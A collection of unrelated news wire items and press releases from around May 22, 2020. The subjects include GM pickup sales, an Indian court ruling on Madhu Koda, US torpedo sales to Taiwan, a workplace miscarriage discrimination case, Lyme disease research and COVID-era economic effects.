GM shares fell 1.2% on Friday in early trading.

Last week, GM suppliers were told the company planned to resume three-shift production at it Fort Wayne plant and other plants as soon as June 1.

Sales of big Detroit brand pickups, particularly in southern and western states less affected by the coronavirus outbreak, have recently significantly outperformed the market, industry executives say.

Large pickups, including Fords F-series line, GMs Chevrolet Silverado and GMC Sierra and Fiat Chryslers Ram, accounted for nearly 21% of all light vehicles sold in the United States in April, Ford vice president for U.S. sales, marketing and service Mark LaNeve said earlier this month. Normally, the pickup segment is 13% to 14% of total sales.

(Reporting by David Shepardson; Editing by Chizu Nomiyama and David Gregorio)
New Delhi, May 22 : The Delhi High Court on Wednesday while refusing to stay the conviction of former Jharkhand Chief Minister Madhu Koda expressed its concern over the increasing criminalization of politics.

"In recent times, there has been an increasing demand that steps be taken for decriminalization of politics. A large number of persons with criminal antecedents or those charged with heinous crimes contest polls and are elected to legislative Assemblies and Parliament. This has been a matter of concern," said a single-judge bench of the High Court presided over by Justice Vibhu Bakhru.

The observation came while the court was hearing a plea filed by the former Jharkhand Chief Minister seeking stay on his conviction order in a coal block allocation case, so that he can contest elections.

While dismissing the petition filed by Koda through advocate Abhimanyu Bhandari, the bench observed that the appellant has a prima facie case; however, it is not persuaded to accept that his conviction is liable to be stayed on this ground alone.

The appellant has been convicted of an offence after trial.

"One of the consequences of the conviction is that the appellant is not qualified to run for public office. While it is contended that this would lead to injustice and irreversible consequences, the court must also consider wider ramifications of the same," it said.

Koda, who remained the Chief Minister of Jharkhand from September 2006 to A ugust 23, 2008, along with others, was convicted by the the trial court in December 2017 for criminal misconduct and abusing his position as a public servant and favouring the allocation of Rajhara Coal Block to a private company.
MOREHEAD CITY, N.C., May 22, 2020 /PRNewswire/ -- The NC Commercial Fishing Resource Fund (NCCFRF) this week launched a statewide public relations campaign called Always NC Fresh. Always NC Fresh, funded by the North Carolina Commercial Fishing Resource Fund (NCCFRF), works to increase awareness of commercial fishing and fishermen, support existing sustainable fishing practices and help commercial fishermen communicate their contributions  economic, cultural and environmental  to the state and its citizens.

Glenn Skinner, Executive Director of NC Fisheries Association (NCFA) and NCCFRF Committee Member, stated, "The Always NC Fresh public relations campaign could not have come at a better time as many of our fishermen have been hit hard by the impacts of COVID-19." Skinner added, "Commercial fishing has been a part of North Carolina's coastal communities and economy for hundreds of years, and it was time for us to reintroduce our fishermen to the citizens of this great state. We have a great story to tell and we're proud to be a part of this new campaign."

"Commercial fishermen are good people who are a fundamental part of the economy and way of life in North Carolina's coastal communities," said Brent Fulcher, NCFA Chairman. "They want nothing more than to provide fresh, wholesome seafood and go to great lengths to care for the natural resources that sustain their way of life. The public should know that, and Always NC Fresh is an important step in reconnecting consumers to the hardworking, responsible men and women who harvest their seafood."

The Always NC Fresh launch includes a new brand, billboards, videos, website (www.alwaysncfresh.com) and a robust social media campaign (@alwaysncfresh). The NCCFRF awarded the public relations campaign to two Raleigh-based public relations firms, S&A Communications and Blue Red Marketing.

The Commercial Fishing Resources Fund is composed of a portion of the proceeds from the sale of the commercial fishing licenses issued by the North Carolina Division of Marine Fisheries (NCDMF). The NC General Assembly created the fund to support the development of sustainable commercial fishing in the State.

SOURCE North Carolina Fisheries Association

Related Links

https://alwaysncfresh.com


(Newser)  The Supreme Court has rejected a request from Idaho prison officials to block sex reassignment surgery for transgender inmate Adree Edmo. The ruling means preparations for the court-ordered surgery can continue, and while the state has asked the court to take up the case for review, the surgery may take place before the court decides whether to hear the appeal. Edmo, 32, has been serving time in a men's prison since 2012 for sexually assaulting a sleeping 15-year-old boy and is due to be released next year. The court did not say why it decided to let the ruling from the US Court of Appeals for the Ninth Circuit stand, reports the New York Times. It said two justices, Clarence Thomas and Samuel A. Alito Jr., would have granted Idaho's request.

story continues below

Lawyers say Edmo, who has been treated for gender dysphoria while in prison, experiences such profound distress that she has attempted to castrate herself twice. She sued after a prison psychiatrist denied her request for surgery, and a Ninth Circuit panel decided that the constitutional ban on cruel and unusual punishment had been violated. "It is no leap to conclude that Edmos severe, ongoing psychological distress and the high risk of self-castration and suicide she faces absent surgery constitute irreparable harm," they wrote. Idaho Attorney General Lawrence G. Wasden argued that the case had national implications, and said the state would suffer "irreparable harm" if taxpayers were "forced to fund a controversial surgery," the Washington Post reports. (Read more transgender stories.)
Pritzker is showing flexibility and thats good. But its not nearly enough: How many restaurants across Chicago and Illinois can even take advantage of his new rule allowing alfresco dining? Not many, if any, in struggling neighborhoods, or even working-class ones, where sidewalk cafes and patios with kitchens are scarce. The vast majority of restaurants statewide will be stuck waiting a month or longer to open under his phased-in plan, which we described May 6 as moving the goal posts.
Apex industry body National Restaurant Association of India (NRAI) on Friday said its representatives met Finance Minister Nirmala Sitharaman to highlight the core issues impacting restaurants across the country due to the coronavirus-induced lockdown.

A four-member delegation met the finance minister on Thursday to discuss urgent industry-specific issues. All these issues are largely around policy and liquidity support, none of the suggested measures is expected to put any major strain on the exchequer, NRAI said in a statement.

NRAI President Anurag Katriar said the delegation conveyed to the government that the restaurant sector is fighting a grim battle for existence and it will need urgent policy and liquidity support from the government to survive this phase.

"We informed them that if we fail to do so, it may lead to massive job losses in the sector. Each issue was discussed in detail and she has promised to look into all of these issues at the earliest," he added.

The key issues that were discussed are request for an unemployment pay support for the lower-end employees through ESIC corpus, the statement said.

"Request was also made to make available urgent working capital support at the lowest possible interest, as close to the repo rates, with a six-month moratorium for the restaurant industry," it added.

The delegation also urged invocation of 'Force Majeure' towards rent as the current pandemic is one of the worst human crisis ever, NRAI said.

A request was also made for an e-commerce policy to regulate and cap platform-led discounts and commissions, it added.

The delegation also asked for allowing an option to avail input tax credit (ITC) on GST for the restaurant industry.

It also asked for expediting the refund for all pending tax claims at the earliest, NRAI said.

The meeting apart from the finance minister was also attended by the secretary of economic affairs department and the revenue secretary, it added.

The Indian tourism industry earlier said it was deeply taken aback as none of its concerns have been addressed by the government in its economic stimulus package.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
After being stranded for nearly two



months in Jordan due to the COVID-19 induced lockdown, a 58- member Malayalam film crew, including noted actor Prithviraj, arrived here on Friday by a special Air India flight.

The flight from Amman arrived here via New Delhi and the crew members were put on quarantine after completion of all formalities at the Cochin International Airport Limited here, official sources said.

The crew had got stuck at Wadi Rum (Valley of the Moon) in the south of Joran, where they were shooting for a project "Aadujeevitham".

The shooting was stopped on March 27 owing to the measures taken by that country to counter the spread of coronavirus.

The film is directed by award winning director Blessy.

Prithviraj had recently announced that Aadujeevithams Jordan shoot is complete.

In a Twitter post, the actor had shared a photo of his entire crew.

#Aadujeevitham Schedule pack up!, the caption below the photo read.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Screen grab from footage on Oireachtas TV of Director General of the CIF Tom Parlon, who said that infrastructure projects including the National Childrens Hospital could see costs spiral even further.

The head of the Construction Industry Federation (CIF) has said he misspoke when he claimed new safety measures put in place across large complex construction sites could increase costs by up to 40%.

Tom Parlon, director general of the CIF, said that infrastructure projects including the National Childrens Hospital, could see costs spiral even further.

Mr Parlon, who was speaking at the special Covid-19 Oireachtas committee, on Tuesday, also said that the new protocols could see additional costs of between 5-10% on new houses.

Speaking to Today With Sarah McInerney on Friday, he said he mis-spoke when he estimated the increases.

I sort of mis-spoke and what I meant to say was that productivity will be reduced or could be reduced by up to 40% on those complex building projects.

Certainly I was disappointed with the commentary and of course, I said it and I listened back to it.It wasnt my intention to give that reflection.

I dont think theres any likelihood of anything as mad as a 40% rise in costs (for the National Childrens Hospital).

Productivity certainly will be impacted but this day a week ago the construction industry didnt even know we were going back to work, we had to wait until about 4pm for the Taoiseachs announcement.

We have been back just four days now and were concerned that workers might not show up and that there would be other problems.

On Monday, thousands of construction workers returned to sites across the State as phase one of easing restrictions was brought into effect.

Pressed as to why he repeated the 40% figure during the committee meeting, and did not clarify it since Tuesday, he said: At an earlier stage, I talked about an actual price increase and I suggested that house prices would go up by between 10-15,000 (euro), so that percentage would be 2 to 5% so there was a little bit of a mix-up there and I didnt clarify the situation and Im very happy to clarify it now.

It is where it is.

It wasnt the intention to say 40%, thats not the Construction Industry Federation view.
NEW YORK, May 22, 2020 /PRNewswire/ -- On May 31, 2010, filmmaker Iara Lee (director of the Cultures of Resistance Network) was on the Mavi Marmara, part of the Gaza Freedom Flotilla, when the boat was attacked by Israeli military forces. The flotilla was an effort to bring humanitarian aid to the illegally blockaded Gaza Strip, and the largest boat in the flotilla was the Mavi Marmara. In the early morning hours of May 31, Israeli commandos boarded the Mavi Marmara and opened fire on civilians, killing nine passengers (a tenth passenger died later from his injuries) and wounding dozens more. Despite Israeli attempts to confiscate all video taken during the attack on the boat, Iara Lee's film crew smuggled out footage of the assault, which she later screened at the United Nations.

Watch the Israeli Attack on the Mavi Marmara - Iara Lee Testifies to the UN (3-minute short film) or the raw footage of the attack, courtesy of Cultures of Resistance Films.

On May 30 at 10 am PDT, the Gaza Freedom Flotilla Coalition will mark the tenth anniversary of the attack on the Mavi Marmara with a Q&A discussion. Lee will be joined by fellow passengers, as well as by internationally renowned author Norman Finkelstein. This event is a part of a series of webinars to commemorate those killed in the attack and to remember the thousands of Palestinians in Gaza, the West Bank, and Israel who have been killed by the Israeli military.

This webinar will feature the firsthand remembrance of what happened on the Mavi Marmara, a discussion of the blockade of Gaza and its impact on all aspects of life in Gaza over the past decade.

The Israeli naval blockade was broken in 2008 when several boats of the Free Gaza Movement entered Gaza City Harbor, the first international boats in 41 years to arrive in Gaza. But since 2008, the Israeli government has stopped boats in 2010, 2011, 2013, 2015, 2016, and 2018 in international waters, arrested passengers, taken them to Israel, imprisoned, and deported them. Nevertheless, the Gaza Freedom Flotilla Coalition is committed to keep sailing to break the illegal Israeli naval blockade of Gaza until Gaza/Palestine is free.

Iara Lee, founder of Cultures of Resistance, collaborates with agitators, artists and changemakers to make social justice documentaries and to promote global solidarity.

Norman Finkelstein, Ph.D., Princeton University Politics Department, is an author dedicated to the Israeli/Palestinian conflict and the politics of the Holocaust.

For interviews in advance of the event, contact Iara Lee's press liaison Tamara Shvelidzeoutreachdepartment@culturesofresistance.org and for Dr. Finkelstein, contact Sana Kassemsanakassem61@hotmail.com

When: May 30, 2020 at 10:00PDT/13:00EDT/18:00 BST/19:00 CEST/20:00 Palestine

Access: Zoom webinar registration https://bit.ly/3brBQqZ

Related Images

mavi-marmara-cruise-ship-sails-off.jpg

Mavi Marmara Cruise ship sails off Istanbul, 22 May 2010

Related Links

Cultures of Resistance Films website
A hotel has been ordered to pay 10,000 compensation to a woman who was fired one day after she told her boss that she had suffered a miscarriage.

Workplace Relations Commission (WRC) Adjudication Officer, Shay Henry has found that the hotel Duty Manager was discriminated against on the gender ground under the Employment Equality Acts and has ordered the hotel to pay the woman the compensation.

The Duty Manager was sacked by her boss on November 12th 2018 - one day after she told him that she had suffered a miscarriage and that this explained the behaviour over which he had been concerned.

The hotel manager was concerned that she was intoxicated at work.

In his findings, Mr Henry stated that the hotel manager did not adequately investigate the defence put forward that the duty manager had suffered a miscarriage and instead, chose to disbelieve the claim based on previous experience.

Mr Henry stated: A properly conducted investigation may have resulted in a timely medical opinion, which, if corroborating the complainants claim of a miscarriage, would most likely have resulted in her not losing her job.

Mr Henry further added: "In my view, the failure to adequately investigate the medical issues raised is sufficient prima facie evidence of discrimination on the grounds of gender.

The woman - represented by McIntyre OBrien Solicitors - told the WRC hearing that she sent a message to the hotel manager on November 11th 2018 saying that she had suffered from a miscarriage.

She stated that in response, he replied that she had said she was at a party and if she had miscarried he would need proof from a doctor.

The duty manager replied that she did not go to a doctor. The hotel manager told her to return to work the next day.

On her arrival to work she met with the hotel manager and a second employee from accounts.

The hotel manager informed her that she was intoxicated at work at the weekend and that he had no choice but to dismiss her with immediate effect.

The duty manager was in shock and left the hotel. On November 29th the duty manager attended her GP who certified her as having had a probable miscarriage.

In his findings, Mr Henry stated that the hotel manager in his evidence, confirmed that he had decided to dismiss the duty manager before he met with her.

Mr Henry stated that neither did the hotel manager give the duty manager details of the allegations in advance of the hearing, or afford the complainant an opportunity to be represented at the hearing, and finally, he did not adequately consider the explanation given.

Mr Henry stated: These are clear breaches of natural justice and the entitlement of the complainant to fair procedures."

Mr Henry stated that in the circumstances where the hotel did not conduct the investigation and disciplinary process in a fair manner he found that the hotel is unable to show that the dismissal was not was not discriminatory and therefore the complainant was discriminated against.

The woman had only commenced work as a Duty Manager in June 2018.

She told the WRC that she completed her work on 9th November 2018 but began to feel ill later that evening. She believes she suffered from a miscarriage.

The Duty Manager attended work on 10th November and she was bleeding severely and was emotional while carrying out her responsibilities.

There was a wedding in the hotel on that day and she did not want to let her employer down. She stated that at one stage, due to bleeding, she had to change her clothes and sit in the car.

When she returned she met her manager asked if she was okay and she replied that she was fine.

The Duty Manager returned to work on November 11th but could not complete her responsibilities and she told her supervisor that she had to go home.

The Duty Manager also sent a message to the manager saying that she was unwell due to having been at a party.

The Duty Manager accepted at the WRC hearing this was wrong information but she did not feel comfortable explaining to him that she was suffering from a miscarriage.

In evidence on behalf of the hotel, it stated that on October 17th the Duty Manager left without notifying anyone and on October 21st the hotel manager met with her concerning this and she claimed she had had her period and needed to change.

The hotel manager believed that this was said to shock him.

At the wedding reception referred to by the Duty Manager, the hotel manager stated that his father said he witnessed the Duty Manager walk into a pole and others said she was giving out free drinks.

The hotel manager was at this stage convinced that the Duty Manager was intoxicated, and he made the decision to dismiss the Duty Manager for that reason.

In response to the Duty Managers claim that she was taking strong pain killers which may have caused her to act strangely it was the hotels position that the handbook is clear in relation to the use of prescribed drugs while at work.
U.S. announces possible sale of advanced heavy torpedoes to Taiwan

ROC Central News Agency

05/21/2020 11:45 AM

Washington, May 20 (CNA) The United States announced Wednesday a latest round of arms sales to Taiwan, including the possible sale of 18 advanced MK-48 Mod 6AT heavyweight torpedoes to the country.

The U.S. Department of State's Bureau of Political-Military Affairs said the package, with an estimated cost of US$180 million, also includes spare parts, test equipment, shipping, training and other related elements of logistical support.

The Defense Security Cooperation Agency (DSCA) -- the Pentagon's lead agency for arms sales to allied countries -- has delivered the required certification notifying the U.S. Congress of the possible sale, according to a State Department press release.

"The proposed sale will improve the recipient's capability in current and future defensive efforts. The recipient will use the enhanced capability as a deterrent to regional threats and to strengthen homeland defense," the statement said.

In a Bureau of Political-Military Affairs tweet posted following the arms sale announcement, the bureau links the approval to the inauguration of President Tsai Ing-wen's () second term Wednesday.

"As we welcome (Tsai's) inauguration for her 2nd presidential term this week, it's worth remembering why the U.S. has long considered Taiwan a force for good -- and why we are committed to supporting its defense," said the tweet.

Without directly mentioning the latest sale, Rene Clarke Cooper, the U.S. assistant secretary of state for political-military affairs, meanwhile, said in a separate tweet that the U.S. is looking forward "to the future and our continued partnership with #Taiwan toward peace and security across the Taiwan Strait and the region."

In Taipei, Taiwan's defense and foreign ministries both expressed gratitude toward the announcement, saying that it shows the U.S. has been consistent in helping the country to defend itself.

Foreign Minister Joseph Wu () said the latest batch of torpedoes will be used to boost Taiwan's indigenous submarine project.

It also shows that the U.S. supports the nation's ongoing project to build its own submarines, he added.

The latest announcement is the sixth round of arms sales packaged the U.S. President Donald Trump's administration has announced since assuming office in January 2017.

The last time U.S. announced major arms sales to Taiwan was in August 2019 in the sale of 66 F-16 C/D Block 70 fighter jets, commonly known as the F-16Vs.

The U.S. has previously sold 46 MK-48 Mod 6AT heavyweight torpedoes to Taiwan in 2017 as part of an overall US$1.4 billion deal.

Based on a list of steps previously provided by Taiwan's military that are involved when Taipei asks Washington to sell it weapons, once a request is made, if the U.S. gives it a green light, Washington sends a letter of offer and acceptance (LOA) to Taipei detailing its offer.

Taipei then reviews the offer and completes a proposal for the procurement project before sending the LOA back to Washington.

Various U.S. government branches then review the proposal before the U.S. government notifies Congress of the sale and the DSCA makes the deal public.

The process is completed once both sides sign the LOA, according to Taiwan's military.

This is the process in theory, but in a number of recent cases, the U.S. side has notified Congress and the DSCA has made the deal public before the U.S. side sent an LOA to Taiwan.

(By Chiang Chin-yeh and Joseph Yeh)

Enditem/J

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A UK judge dismissed on Friday a lawsuit against Eni and Shell brought by the Nigerian government alleging that the oil and gas supermajors knew about US$1.1 billion in bribes given to secure an oil license in Nigeria nearly a decade ago.

The judge in London dismissed the case on the grounds that the UK has no jurisdiction to try the lawsuit that is basically the same for which Shell and Eni are currently under trial in Italy, Bloomberg reported.

Eni and Shell are on trial in Milan for allegedly knowing that an alleged payment of US$1.1 billion in bribes was made to the former Nigerian government back in 2011, for which Eni and Shell secured exclusive rights to develop the now infamous oil block OPL-245 offshore Nigeria.

The 2011 acquisition of block OPL 245, according to Italian and Nigerian prosecutors, involved a transfer of money to personal accounts held by the Nigerian oil minister at the time.

The sum of the OPL 245 deal was US$1.3 billion, an investigation revealed, of which US$1.1 billion was used to bribe politicians and businessmen to secure the deal. Shell and Eni have always insisted that at the time, they were unaware of any wrongdoing.

Eni and Shell were ordered to stand trial in Milan under the Italian legislation that mandates companies be liable for crimes committed by directors and executives when a suspected unlawful conduct has benefited the legal entity.

In January this year, a key witness for the prosecution in the Milan trial backpedaled on previous testimony that he had seen evidence that Eni and Shell were involved in bribery over the oil deal in Nigeria. While the trial in Milan is in its final stages, other lawsuits are pending elsewhere over the same Nigerian oil deal. Shell, for one, faces prosecution from the Dutch authorities over the acquisition of block OPL 245.

By Tsvetana Paraskova for Oilprice.com

More Top Reads From Oilprice.com:
With a $661,216 grant from the Steven & Alexandra Cohen Foundation, Brandon Jutras, an assistant professor of biochemistry in the Virginia Tech College of Agriculture and Life Sciences, will study Lyme arthritis, including the cellular component that contributes to it.

Lyme disease is the most reported vector-borne disease in the country. Over the past 20 years the United States has experienced a dramatic increase in both the number of reported cases and the geographic distribution of the disease. In Virginia, the disease is transmitted by blacklegged ticks, which are infected with the Lyme disease-causing bacterium Borrelia burgdorferi.

Symptoms can begin with the classic "bull's-eye" rash and/or flu-like symptoms, though some patients exhibit few if any initial warning signs. If not promptly treated, the infection can quickly worsen, spreading to other tissues and giving rise to neuromuscular and cardiac problems. In the United States, Lyme arthritis -- a debilitating and extremely painful condition-- is the most common late-stage symptom of Lyme disease.

"As Borrelia burgdorferi -- the bacterium that causes Lyme disease -- is transmitted from a tick to a human, it is growing and dividing. And as it's growing and dividing, it's shedding a cellular component called peptidoglycan. This cell-wall component can persist in a patient after antibiotic treatment and is capable of causing arthritis," said Jutras, who is also an affiliated faculty member of the Fralin Life Sciences Institute and the molecular and cellular biology program.

Jutras and his colleagues at Virginia Tech are using a recent study as a stepping stone. In 2019, they discovered that when Borrelia burgdorferi invades and grows within the body, it sheds peptidoglycan into the extracellular environment. Once shed, the peptidoglycan begins to congregate in the synovial fluid that surrounds our joints, especially the knee in some patients.

Once an infection is established, the human body sends out an inflammatory response to combat Lyme disease. Some patients are able to get rid of the infection naturally, but most require exhaustive antibiotic therapy. The problem is, even when there are no obvious signs of an infection, the inflammation continues. With the inappropriate inflammation comes intense pain, stiffness, and other signs of Lyme arthritis. Exactly how and why the body responds in this way has puzzled researchers, but Jutras believes that the peptidoglycan's unique chemistry may hold the key.

"All bacteria have peptidoglycan. But, as it turns out, Borrelia burgdorferi peptidoglycan has unique chemical features that distinguish it from most all other bacteria. We think that those molecular differences that occur in the peptidoglycan of Borrelia burgdorferi are important in causing the sustained Lyme arthritis response," said Jutras.

To determine what pathways are in play, and how and why the inflammation occurs, Jutras will be using single-cell RNA sequencing. Researchers will expose both mice and healthy human cells to peptidoglycan, then they will use single-cell RNA sequencing to observe how every single immunological cell responds.

"If we are able to understand how we react to B. burgdorferi peptidoglycan, and why it is capable of residing in humans for extended periods, we should be able to design or modify therapies to intervene, thus curing patients of long-term symptoms," said Jutras.

The Jutras lab has also enlisted the help of co-PIs Coy Allen and Rich Helm. Allen, an associate professor of inflammatory disease in the Virginia-Maryland College of Veterinary Medicine's Department of Biomedical Sciences and Pathobiology, will assist in immunological studies. Helm, an associate professor of biochemistry in the College of Agriculture and Life Sciences, will analyze and perform quality control of peptidoglycan preparations using mass spectrometry.

The grant was awarded through the Steven & Alexandra Cohen Foundation, the largest private funder of Lyme and tick-borne disease research in the United States. Launched in 2015, the Cohen Lyme & Tickborne Disease Initiative underwrites groundbreaking studies in prevention, diagnostics, and treatment.

"This foundation acts as a catalyst for Lyme and other tick-borne disease research. There are so many important areas of research in the Lyme disease field and it is these types of efforts that will move the needle forward. It's a phenomenal service and initiative. We are very fortunate to partner with them and to hopefully get answers to some critical questions in the field," said Jutras.

###
Flagging immigration numbers along with much-reduced purchasing power will pull down market activity for the rest of the year, according to the latest Teranet-National Bank of Canada House Price Index.

The steep climb in national unemployment numbers  from Februarys 5.6% to 13% in April  will also have a significant influence in housing sales and values.

In this context, demand for housing may decrease due to a reduction in immigration and would-be first-time homebuyers not being able to qualify for a mortgage loan, Teranet said. At the opposite, supply may be fuelled by homeowners unable to meet mortgage payments and for that reason will look to sell their home. In other words, a lasting high unemployment rate could mean downward pressure on house prices.
To the editor:

I have subscribed to the Midland Daily News for nearly 30 years. Part of the reason I read the paper is to receive a broad range of opinions. I have never perceived the MDN as a partisan paper in this regard. Unfortunately, with the new emphasis on solely local content, the effect is to present a much more partisan (Republican) viewpoint on the editorial pages.

A case in point is Professor Alex Tokarev's piece in the May 16-17 paper on his recent travels to Bulgaria. I agree there are some interesting observations in Professor Tokarev's letter, but there is also a reference to COVID-19 as "the Chinese plague." What is this all about? The COVID-19 virus is naturally occurring and knows no nationality. If it had not started in China it would have emerged somewhere else, eventually. Additionally, because we are all connected on this planet, we all would have felt its impact regardless of where it began. This kind of xenophobic finger-pointing is not helpful to a reasoned understanding of the virus and it will not be helpful to us as a nation if, as may happen, the Chinese develop a vaccine before we do.

While this is a very small example, I am concerned it typifies what those dwindling few of us who still like to read the newspaper are likely to be reading in this paper going forward as the emphasis on local content produces an uninterrupted flow of right-wing opinions from Northwood University and the Mackinac Center. Perhaps the editorial page is not a good place to limit ourselves to purely local content if the goal is a fully informed public.

GREG SMITH

Midland
MANCHESTER, N.H., May 22, 2020 /PRNewswire/ --Bellwether Community Credit Union is proud to announce that Heather Economides, Mortgage Originator, has been recognized by The Warren Group Registry Review as a Top Loan Originator Statewide by number of loans and loan volume for New Hampshire Credit Unions based on 2019 activity.

Heather Economides

Economides placed in the top 5 in both number of loans and in loan volume based on extensive data collected by The Warren Group. Economides first joined Bellwether Community Credit Union as a loan processor in May 2016. She was promoted to a loan originator in February 2018 and is responsible for residential mortgage loan origination.

"I am thankful for great team members who share in this honor," Economides said. "Working in Bellwether's mortgage department allows the team to make a real impact on peoples' lives while helping them realize their dream of homeownership. It is a privilege to come to work every day with my team and serve our members."

"Bellwether is extremely proud that Heather is being recognized for her hard work and dedication. She and the entire mortgage team continually provide outstanding service to our members, working quickly and efficiently to provide them with the best mortgage solution," said William Guilfoil, Vice President of Residential Lending at Bellwether Community Credit Union.

About Bellwether Community Credit Union

Since 1921, Bellwether Community Credit Union has offered financial services to consumers residing or working in New Hampshire and Essex and Middlesex counties in Massachusetts. As a not-for-profit credit union, Bellwether focuses on giving value back to members through better rates and lower fees; local, personal service; and digital channels which simplify how people bank, borrow and pay. Members can access their accounts at nearly 30,000 free ATMs nationwide and approximately 6,500 CU Service Centers around the world. Bellwether Community Credit Union has branches in Bedford, Manchester and Nashua. For more information about Bellwether Community Credit Union, visit www.BCCU.org.

Media Contact:

Lori Holmes

Vice President of Marketing

Tel: 603-429-4701

E-Mail: [email protected]

SOURCE Bellwether Community Credit Union
I think when you have any business that comes in that could potentially bring controversy, it would be good to know, Cunningham said, adding that like other health care providers, Planned Parenthood provides services Waukegan residents need. But would I have wanted to know? It would have been great to have had a heads up.
The number of repatriated citizens in the post-Covid-19 period is expected to increase, which will put pressure on the labor force and social security.

According to the Ministry of Labor, War Invalids and Social Affairs (MOLISA), as of March 26, Vietnam had 560,000 people working in 36 countries and territories affected by Covid-19.





In Q1 2020, 4,929 overseas Vietnamese workers returned to Vietnam, mostly after their labor contracts finished, from Japan (2,978 workers), South Korea (1,255) and Taiwan (633).



Analysts said because of the epidemic, the demand for workers has decreased, so many overseas Vietnamese workers have decided to come back.



Lao Cai province received 500 Vietnamese workers returning from China from April 20 to April 22 alone. The provincial authorities predicted that the figure may rise to 2,900 in several more days, according to VnExpress.



Meanwhile, the unemployment rate in the home labor market has increased. The number of unemployed workers was 1.1 million in Q1 alone, according to GSO.



Domestic unemployed workers, plus repatriated workers, will put pressure on agencies and local authorities.

According to the Ministry of Labor, War Invalids and Social Affairs (MOLISA), as of March 26, Vietnam had 560,000 people working in 36 countries and territories affected by Covid-19.

Ngo Duy Hieu, a National Assembly Deputy, deputy chair of the Vietnam Labor Federation, said in his article on Thoi Bao Kinh Te Sai Gon that repatriated workers can be divided into untrained workers and skilled workers.



It will be difficult to deal with the first group of workers, except setting up mechanisms to encourage agricultural production and creating favorable conditions for them to run farms and small-scale economic models.



Meanwhile, the second group of repatriated workers, with deep knowledge, experience and foreign language skills, could be an important resource for Vietnam.



The biggest problem for these workers is lack of information.



According to GSO, South Korea, Japan, Taiwan and China are the biggest foreign direct investors in Vietnam. These are also markets with the largest numbers of Vietnamese workers returning home.



Thousands of South Korean, Japanese, Taiwanese and Chinese projects and enterprises are operating in Vietnam, and they are complaining about the lack of high-quality workers.



Meanwhile, most foreign workers in Vietnam are managers, qualified workers and specialists, and many of them have returned to their home countries because of Covid-19.



Hieu believes that the high-quality repatriated workers could fill in the gap in high-quality labor force at foreign invested enterprises.



He said connecting enterprises and repatriated workers needs to be done immediately to fill the gap.



Local labor departments need to join forces with local authorities to make lists of repatriated workers and collect information about their areas of expertise, experience and foreign language skills. The departments also need to contact VCCI to learn about worker demand.

Kim Chi

PM elaborates on social distancing, calls for welfare guarantee The Vietnamese Government has made efforts to ensure that social welfare for the public is maintained, especially for the poor and the unemployed, amid the challenges posed by COVID-19, Prime Minister Nguyen Xuan Phuc said.
Source: Xinhua| 2020-05-22 23:08:18|Editor: yan

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Li Zhanshu, a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee and chairman of the National People's Congress (NPC) Standing Committee, joins deputies from Jiangxi Province in group deliberation at the third session of the 13th NPC in Beijing, capital of China, May 22, 2020. (Xinhua/Ding Lin)

BEIJING, May 22 (Xinhua) -- Senior leaders on Friday called for more efforts to build a moderately prosperous society in all respects when attending deliberations at the third session of the 13th National People's Congress (NPC).

Li Zhanshu, Wang Yang, Wang Huning, Zhao Leji and Han Zheng -- members of the Standing Committee of the Political Bureau of the Communist Party of China (CPC) Central Committee -- all gave their complete support for the government work report delivered by Premier Li Keqiang at the session.

When joining deputies from Jiangxi Province in group deliberation, Li Zhanshu, chairman of the NPC Standing Committee, asked legislators to well deliberate and improve a draft civil code, which will be the first basic law defined as a "code" of the People's Republic of China once adopted.

He said establishing and improving the legal system and enforcement mechanisms for the Hong Kong Special Administrative Region (HKSAR) to safeguard national security is completely consistent with China's Constitution and the Basic Law of the HKSAR, and will be fully supported by all the Chinese people including the Hong Kong compatriots.

Wang Yang, chairman of the Chinese People's Political Consultative Conference National Committee, told deputies from Sichuan Province to counteract the impact of COVID-19 and ensure a victory in the fight against poverty.

Wang Huning, a member of the Secretariat of the CPC Central Committee, underscored efforts to promote the coordinated development of the Beijing-Tianjin-Hebei region, boost the development of the Xiongan New Area and make good preparations for the 2022 Winter Olympics, when participating in deliberation with deputies from Hebei Province.

While deliberating with deputies from Heilongjiang Province, Zhao Leji, secretary of the CPC Central Commission for Discipline Inspection, stressed strengthening supervision over the implementation of major decisions and arrangements.

Deliberating with deputies from Shaanxi Province, Vice Premier Han Zheng underlined efforts to coordinate epidemic containment and economic and social development, take more measures on deepening reform and expanding opening up to solve difficulties facing development, and create bigger room for the development of market entities.
President Trump decided he couldn't wait any longer. He is self-medicating. In spite of warnings from medical experts, Trump has decided to take hydroxychloroquinenever mind that studies show it is ineffective against the coronavirus and may cause heart diseases. Worldwide, people are scrambling for remedies, as the scientific community hunts for what would conclusively serve as vaccines and medications for COVID-19. This sense of sluggishness we feel towards researchers in arriving at anti-viral drugs and vaccines for this disease is to be expected of our lay minds.

The world is presented with the scenario of chasing the wind, whenever there is an outbreak of communicable diseases. These viruses become the teachers; we, the students. The scientific community bears a large chunk of the brunt of it all. In so many ways, the virus beats us; underlisted are a few of those ways.

Beats science

Geographical source

Even after the WHO announced 'COVID-19' as the unofficial name of the novel coronavirus, Trump was still calling it the 'Chinese virus.' Asked why, he emphatically said, Because it comes from China. This, coming from Trump, was readily dismissed as racisthe has a track-record in that regard. But an inquiry into the geographicalorigins of a disease is one vital step towards the prevention and control of the diseaseand the culling of re-emergence. To better understand what a virus is, we must know where it came from.And this determination of the source, takes some time to arrive at.

Vector source

Every zoonotic disease outbreak calls the question of the animal vector responsible. Past and present human coronaviruses havegiven us more probabilities and little certainties in this regard. With the2002/2003 SARS outbreak, palm civets, raccoon dogs, ferret-badgers, cats, and bats were suspected vectors. MERS brought with it, too, little certaintiescamels, bats were suspected causes. When COVID-19 broke, many turned to snakes, pangolins, bats as possible causative agents.

This inconclusiveness regarding biological vectors pose the question: how do we prevent contact with the causative agent when we do not know for sure what it is? Are we to prevent close contacts with all these animals?

Mode of transmission

This is another point for deliberation. It takestime to figure out the modes of transmission of a virus. Do they transmit directly from the animal vector to humans, or do other animals serve as third partiesas intermediate vectors? Do they transmit from humans to humans? If so, how do they do soare they airborne, do they transmit via fomites (infected objects and surfaces), etc. Answers to these queries go on to inform preventive measures.

During the MERS outbreak, the WHO in September 2012 informed the world that this then novel coronavirus did not seem to transmit from person to person; only to backtrack in May with information that human-to-human transmissionswere, in fact, possible. One can only imagine the number of infections that occurred during those 8 months, with this mis-information.

Beats truth

